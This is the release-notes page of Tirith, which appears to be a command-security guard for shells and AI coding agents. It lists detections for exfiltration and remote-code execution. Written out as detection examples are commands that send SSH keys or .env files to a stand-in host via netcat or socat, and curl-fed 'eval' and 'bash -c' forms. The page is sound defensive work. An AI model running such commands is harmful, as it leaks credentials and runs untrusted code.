tirith

No entries match these filters. Clear filters

1. v0.5.0 Nov 2, 2026 · issue 129

   Tirith adds data exfiltrationdata exfiltrationMoving data out of a system or organization without authorization. It can happen through network transfers, removable media or other channels. detections for netcat/socat/env-dump uploads, inline-exec detection for versioned interpreters, and a structured approval signal in check JSON o⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

   └──▷ GET THIS VERSIONHomebrewDockernpmgit

   Homebrew copy

   $ brew install tirith
   # already installed? upgrade to this version:
   $ brew upgrade tirith

   Docker copy

   $ docker pull ghcr.io/sheeki03/tirith:0.5.0

   npm copy

   $ npm install -g tirith@0.5.0

   git copy

   $ git clone --branch v0.5.0 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.5.0

   Homebrew lists this version · published under the project's GitHub account · signed build provenance · checked 3 Nov

   └──▷ TRY IT
   Refresh a Claude Code agent adapter after upgrading to enforce the new approval requirement, scoped to your user account.
   copy

   $ tirith setup claude-code --scope user --force

   Check whether a command would be flagged as data exfiltration before running it — useful in CI or agent pre-flight.
   copy

   $ tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsa

   Migrate existing trust entries to the new grant file so they continue to apply after upgrading.
   copy

   $ tirith trust migrate

   • Adds detection for secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and detection of downloaded output used as program source via python3 -c "$(curl …)", node -e, php -r/-B/-R/-E, bash -c "$(curl …)", eval "$(curl …)", source <(curl …) and deno eval "$(curl …)" as interpreter_suspicious_inline_exec in POSIXPOSIXA family of standards for operating-system interfaces, including process, file and shell behavior. Software that uses these interfaces is easier to move between compatible systems. shells and fish.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Detect versioned interpreter names — python3.12, pypy3, perl5.34, php8.2, ruby3.3, nodejs and others — as pipe sinks and inline program targets, closing a gap where curl … | python3.12 previously passed.
   • Detect curl -d @/dev/stdin, -T /dev/stdin and wget --post-file=/dev/stdin as reading standard input, so secret files piped into them also count as data_exfiltration.
   • Adds a boolean requires_approval field to tirith check JSON output (schema 3 and 4), with every agent adapter now denying a command marked requires_approval: true instead of just warning; adds TIRITH_HOOK_WARN_ACTION, settable to allow, ask or deny, to control warned commands in agent hooks, where ask surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with guidance elsewhere; and adds the policy setting allow_bypass_env_noninteractive: true to honor a TIRITH=0 bypass in the zsh non-interactive guard.
   • tirith trust add now requires --rule RULE or --all-rules and writes grants to trust-grants.json; run tirith trust migrate to move existing trust.json entries into the new file.

   +3 more show less

   • tirith setup <host> --scope <scope> --force rewrites installed agent adapters to enforce the new approval requirement, leaving .tirith-backup-v2-* recovery copies alongside the rewritten files.
   • Warn instead of block on plain LAN health checks such as curl http://192.168.1.20:8080/health.
   • Reduce agent false positives: if/while bracket conditions over substitutions, POSIX variable-named commands, python3 -c data pipelines, here-strings into jq, xargs -I{}, { …; } groups, common eval "$(…)" shell-setup lines, function bodies with ${…} expansions, large heredoc writes, curl to localhost with no proxy, .app and .dev TLDs, header expansions such as -H "Authorization: Bearer $TOKEN", and wrapper spellings like nice -n5 and timeout -k1 5 now pass.
   • Adds detection for secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and detection of downloaded output used as program source via python3 -c "$(curl …)", node -e, php -r/-B/-R/-E, bash -c "$(curl …)", eval "$(curl …)", source <(curl …) and deno eval "$(curl …)" as interpreter_suspicious_inline_exec in POSIXPOSIXA family of standards for operating-system interfaces, including process, file and shell behavior. Software that uses these interfaces is easier to move between compatible systems. shells and fish.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds a boolean requires_approval field to tirith check JSON output (schema 3 and 4), with every agent adapter now denying a command marked requires_approval: true instead of just warning; adds TIRITH_HOOK_WARN_ACTION, settable to allow, ask or deny, to control warned commands in agent hooks, where ask surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with guidance elsewhere; and adds the policy setting allow_bypass_env_noninteractive: true to honor a TIRITH=0 bypass in the zsh non-interactive guard.

   6 more in Everything

   └──▷ BREAKING ON UPGRADE

   • !Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run tirith setup <host> --scope <scope> --force for every agent host and project after upgrading.
   • !A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead.
   • !An unrecognized TIRITH_HOOK_WARN_ACTION value now denies warned commands; the only valid values are allow, ask and deny.
   • !Commands containing ESC sequences or bare carriage returns are now blocked as ansi_escapes / control_chars; integrations that pass ANSI colour codes inside commands must strip them first.
   • !Re-run tirith setup <host> --scope <scope> --force --install-zshenv to update the ~/.zshenv guard; --force alone and tirith doctor --fix leave the 0.4.x guard in place.
   • !tirith check --json now prints a normal verdict (action: "allow", bypass_honored: true, requires_approval: false, exit 0) for an honored TIRITH=0 bypass instead of no output.
   • !tirith check rejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word.
   • !The package_lookup_incomplete finding replaces analysis_incomplete for live OSV.devOSV.devAn open-source vulnerability database and API maintained by Google that aggregates CVEs and ecosystem-specific advisories in a unified schema, giving cyber tools a single feed to query for package-level vulnerability data. and deps.dev lookups that could not finish; policies that handle pip install or npm install warnings by adjusting analysis_incomplete must be updated to name package_lookup_incomplete.
   • !IaCIaCInfrastructure as Code: the practice of defining and provisioning compute infrastructure through machine-readable config files rather than manual processes, giving cyber tools repeatable, version-controlled environment setup. auto-approve detection now checks every command on a line, so cd infra; terraform apply -auto-approve now warns (iac_apply_auto_approve, exit 2) and cd infra; terraform apply now blocks when iac_require_plan_before_apply: true.
   • !tirith trust add now requires --rule RULE or --all-rules; migrated trust.json entries written to trust-grants.json stop applying if you downgrade to 0.4.x.
   • !tirith pkg install and tirith pkg approve now refuse on every host; use tirith install --no-exec to analyze an install instead.
   • !The tirith-core library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; AnalysisContext, Policy and output::JsonOutput gained fields.
2. v0.4.1 Sep 2, 2026 · release notes

   Tirith v0.4.1 enables bash enter mode by default and adds ThreatDB source pinning via THREATDB_PIN_PR_TOKEN

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.4.1 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.4.1

   • Adds THREATDB_PIN_PR_TOKEN repository secret for the ThreatDB watcher pipeline to push branches and open pull requests for source pin updates

   1 detail in Everything

3. v0.4.0 Aug 25, 2026 · issue 083

   Tirith 0.4.0 adds a Python package firewall, Web3Web3A loosely defined model for a decentralized internet built on public blockchains, where applications run via smart contracts rather than centralized servers, giving cyber tools trustless, permissionless data and transaction layers. command gating, browser extension auditing, threat intelligence v2, and 9 new AI-agent host integrations.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.4.0 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.4.0

   └──▷ TRY IT
   Run an untrusted open-source project's build script in a fail-closed OS capsule on x86_64 Linux, producing a signed receipt, without risking your host.
   copy

   $ tirith capsule run --preset untrusted-project --project ./untrusted-repo -- python build.py

   • Adds tirith package inspect to analyze wheel files, sets of wheels, or installed environments without downloading them, using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, decompression abuse, and ambiguous identities.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds tirith pkg approve and tirith pkg install to bind resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt.
   • Adds tirith pkg graph, diff, attest, attest-npm, verify-env, and receipt subcommands exposing ownership, execution, release-delta, provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build., integrity, and evidence workflows.
   • Adds tirith pkg attest-npm to bind npm's own signature/provenance report to the exact lockfile and installed inventory.
   • Adds tirith capsule run --preset untrusted-project to copy an untrusted project into a held ephemeral directory and execute an exact argv under fail-closed containment on x86_64 Linux with a usable Landlock ABI; all other platforms refuse before copy or spawn.

   +18 more show less

   • Adds tirith task check and the preview-gated tirith_check_task MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. tool (requires TIRITH_MCP_PREVIEW=1) to diagnostically assess untrusted task envelopes without executing anything.
   • Adds tirith browser audit for a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift.
   • Adds web3_guard policy section to classify network and signer policy, covering state changes, signer risk, and network-policy violations for Cast, Forge, Hardhat, Solana, and Anchor operations without reading chain state or simulating a transaction.
   • Adds command-card schema 2 to bind ordered Web3 operations, network identity, signer kind, artifact hashes, and policy identity while keeping schema-1 signing bytes compatible.
   • Upgrades threat intelligence to a signed v2 database that adds artifact SHA-256SHA-256A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data., installed-file hash, malicious-URL, campaign, and behavior-tag indices to package, domain, and IP reputation, with monotonic sequence checks to prevent rollback.
   • Expands tirith setup to support 19 named AI-agent hosts, adding Grok Build, OMP, OpenCode, Vercel Labs fx, Prime Agent, Cline, Roo Code, Continue, and OpenHands alongside previously supported hosts.
   • Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands where the host exposes one; Cline receives the platform-native PreToolUse wrapper on POSIXPOSIXA family of standards for operating-system interfaces, including process, file and shell behavior. Software that uses these interfaces is easier to move between compatible systems. and PreToolUse.ps1 on Windows.
   • Adds Prime Agent IPython guard that extracts shell escapes, shell magics, and common Python process-spawn forms before delegating to the Tirith engine; unrecognised execution forms fail closed by default.
   • Adds MCP configuration locking that binds source path, server identity, transport, descriptor set, declared tools, and code/config drift without persisting raw environment values or URL credentials.
   • Adds MCP tool and resource output sanitization by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures.
   • Adds byte-classified file analysis that classifies files by magic bytes read through a retained no-follow handle rather than by name or suffix, with explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown binary content.
   • Adds global finding and output budgets that preserve Critical, High, and analysis_incomplete evidence ahead of lower-value output.
   • Adds CI-focused directory scans that correlate fork-reachable artifact producers with privileged workflow_run consumers and execution, PATH, publish, or deployment sinks.
   • Adds structural GitHub ActionsGitHub ActionsGitHub's built-in CI/CD system that runs automated workflows triggered by repository events, letting cyber tools automate testing, building, and releasing without managing separate pipeline infrastructure. rules covering mutable action references, privileged trigger hazards, and expression-to-shell injection.
   • Expands detections to include reverse-shell and suspicious inline-interpreter command shapes, OpenAI/Hugging Face/PyPI/PGP credential patterns, hidden PDF instructions, wallet and sensitive-asset exfiltration through promoted operands (xargs, find -exec, parallel), compressors, encoders, and staged encryption output.
   • Adds ELFELFThe standard binary format for executables, shared libraries, and object files on Linux and most Unix-like systems, giving cyber tools a predictable structure to parse, instrument, or analyze compiled code., Mach-O, and PE triage to find native extensions in Python wheels and correlate native imports, runtime launches, loaders, and payloads across distribution boundaries.
   • Adds Wheel RECORD and installed-environment RECORD verification to detect missing, modified, unowned, or multiply owned files.
   • Models Python startup execution through .pth, .start, sitecustomize, and usercustomize as an execution chain rather than ordinary data.
   • Adds tirith package inspect to analyze wheel files, sets of wheels, or installed environments without downloading them, using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, decompression abuse, and ambiguous identities.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
   • Adds tirith pkg approve and tirith pkg install to bind resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt.
   • Adds tirith pkg graph, diff, attest, attest-npm, verify-env, and receipt subcommands exposing ownership, execution, release-delta, provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build., integrity, and evidence workflows.
   • Adds tirith pkg attest-npm to bind npm's own signature/provenance report to the exact lockfile and installed inventory.
   • Adds tirith capsule run --preset untrusted-project to copy an untrusted project into a held ephemeral directory and execute an exact argv under fail-closed containment on x86_64 Linux with a usable Landlock ABI; all other platforms refuse before copy or spawn.

   +15 more show less

   • Adds tirith task check and the preview-gated tirith_check_task MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. tool (requires TIRITH_MCP_PREVIEW=1) to diagnostically assess untrusted task envelopes without executing anything.
   • Adds tirith browser audit for a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift.
   • Adds web3_guard policy section to classify network and signer policy, covering state changes, signer risk, and network-policy violations for Cast, Forge, Hardhat, Solana, and Anchor operations without reading chain state or simulating a transaction.
   • Adds command-card schema 2 to bind ordered Web3 operations, network identity, signer kind, artifact hashes, and policy identity while keeping schema-1 signing bytes compatible.
   • Upgrades threat intelligence to a signed v2 database that adds artifact SHA-256SHA-256A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data., installed-file hash, malicious-URL, campaign, and behavior-tag indices to package, domain, and IP reputation, with monotonic sequence checks to prevent rollback.
   • Adds Prime Agent IPython guard that extracts shell escapes, shell magics, and common Python process-spawn forms before delegating to the Tirith engine; unrecognised execution forms fail closed by default.
   • Adds MCP configuration locking that binds source path, server identity, transport, descriptor set, declared tools, and code/config drift without persisting raw environment values or URL credentials.
   • Adds MCP tool and resource output sanitization by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures.
   • Adds byte-classified file analysis that classifies files by magic bytes read through a retained no-follow handle rather than by name or suffix, with explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown binary content.
   • Adds global finding and output budgets that preserve Critical, High, and analysis_incomplete evidence ahead of lower-value output.
   • Adds CI-focused directory scans that correlate fork-reachable artifact producers with privileged workflow_run consumers and execution, PATH, publish, or deployment sinks.
   • Adds structural GitHub ActionsGitHub ActionsGitHub's built-in CI/CD system that runs automated workflows triggered by repository events, letting cyber tools automate testing, building, and releasing without managing separate pipeline infrastructure. rules covering mutable action references, privileged trigger hazards, and expression-to-shell injection.
   • Adds ELFELFThe standard binary format for executables, shared libraries, and object files on Linux and most Unix-like systems, giving cyber tools a predictable structure to parse, instrument, or analyze compiled code., Mach-O, and PE triage to find native extensions in Python wheels and correlate native imports, runtime launches, loaders, and payloads across distribution boundaries.
   • Adds Wheel RECORD and installed-environment RECORD verification to detect missing, modified, unowned, or multiply owned files.
   • Models Python startup execution through .pth, .start, sitecustomize, and usercustomize as an execution chain rather than ordinary data.

   3 more in Everything

   └──▷ BREAKING ON UPGRADE

   • !Checkpoints created by older builds under /tmp/tirith/checkpoints are not migrated automatically — inspect and remove that directory manually; 0.4.0 uses private per-user state.
   • !Existing MCP privacy lockfiles require an explicit re-lock when the documented schema migration says so; generated wrappers must be regenerated via tirith setup <tool> --update-configs so they contain the current validated absolute interpreter and Tirith paths.
   • !An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover.
4. v0.2.10 Mar 25, 2026 · release notes

   Adds credential leak detection and TeamPCP behavior detection rules

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.2.10 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.2.10

   • TeamPCP behavior detection rules are now included to detect specific behavioral patterns.

   1 detail in Everything

5. v0.2.5 Mar 5, 2026 · release notes

   Adds remediation hints in getvet.sh and hardens interpreter detection

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.2.5 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.2.5

   • interpreter detection logic is hardened for greater reliability

   1 detail in Everything

6. v0.2.0 Feb 25, 2026 · release notes

   Adds MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. server, environment variable/network detection, Pro-tier enrichment, and Ed25519Ed25519A fast elliptic-curve signature scheme with small keys, the default for new SSH keys and common in code signing. It is not quantum-safe. license verification

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.2.0 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.2.0

   └──▷ TRY IT
   Detect sensitive environment variables and network destinations in code.
   copy

   $ tirith scan --detect-env --detect-network ./src

   • MCP server with JSON-RPCRPCRemote Procedure Call, a protocol that lets a program execute a function on another machine as if it were local, giving cyber tools a structured way to communicate across processes or hosts without managing raw sockets. lifecycle, gateway, and cloaking detection
   • environment variable and network destination detection capabilities
   • Pro-tier enrichment pipeline and verdict extensions
   • Ed25519 signed license verification with key rotation and CI guard

   4 details in Everything

7. v0.1.3 Feb 3, 2026 · release notes

   tirith v0.1.3 adds RPM, Docker, Chocolatey, and Nix distribution channels

   └──▷ GET THIS VERSION

   copy

   $ git clone --branch v0.1.3 https://github.com/sheeki03/tirith.git
   # already have the repo? check out this version:
   $ git checkout v0.1.3

   • Adds RPM distribution channel for package installation.
   • Adds Docker distribution channel via container images.
   • Adds Chocolatey distribution channel for Windows installations.
   • Adds Nix distribution channel for NixOS and functional package management.

   4 details in Everything